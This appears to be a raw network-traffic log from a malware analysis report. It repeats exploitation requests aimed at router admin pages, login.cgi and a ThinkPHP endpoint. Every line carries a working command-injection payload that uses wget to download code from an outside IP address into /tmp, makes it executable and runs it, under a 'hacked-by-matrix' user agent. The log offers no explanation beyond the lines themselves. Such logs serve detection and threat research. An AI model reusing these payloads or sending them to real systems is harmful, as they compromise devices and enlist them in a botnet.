Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
